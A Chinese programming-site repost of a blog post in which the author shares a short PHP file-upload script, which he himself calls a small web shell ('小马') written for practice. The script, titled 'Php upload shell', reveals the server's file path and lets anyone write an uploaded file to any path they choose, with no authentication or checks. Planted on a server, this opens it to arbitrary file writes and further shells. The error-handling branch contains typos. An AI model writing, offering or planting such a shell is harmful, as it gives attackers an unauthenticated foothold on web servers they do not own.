当前位置:编程学习 > php >>

php文件上传脚本

 

最近在学习php,看到了文件上传这块,就简单的写了个php文件上传脚本,可以说是个小马,没什么技术含量,全当练手~

01 <html> 

 

02 <head> 

 

03 <title>Php upload shell</title> 

 

04 </head> 

 

05 <body> 

 

06   

 

07 Path:<?php echo $_SERVER['SCRIPT_FILENAME'];?><br /> 

 

08   

 

09 <form  enctype="multipart/form-data" action="" method="post"> 

 

10   

 

11 Please fill in the path of the upload and the filename:<input type="text" name="choose" size="50" /><br /><br /> 

 

12   

 

13 Please choose the uploaded files:<input type="file" name="upfile" size="40" /> <input type="submit" value="上传文件" /> 

 

14   

 

15 </form> 

 

16   

 

17 <?php 

 

18   

 

19 if(move_uploaded_file($_FILES['upfile']['tmp_name'],$_POST['choose'])) 

 

20 { 

 

21     echo "The file upload successful"; 

 

22 } 

 

23 else

 

24 { 

 

25     if($_FILES['upfiles']['erro'] != 0 ) 

 

26     echo "The file upload failed,you can try other folder."; 

 

27 } 

 

28   

 

29 ?> 

 

30 <br /><br /><br /><br /> 

 

31 Code by Str1ven<br /> 

 

32 Email:str1ven@foxmail.com 

 

33 </body> 

 

34 </html>

摘自:Str1ven's Blog

补充:Web开发 , php ,
CopyRight © 2022 站长资源库 编程知识问答 zzzyk.com All Rights Reserved
部分文章来自网络,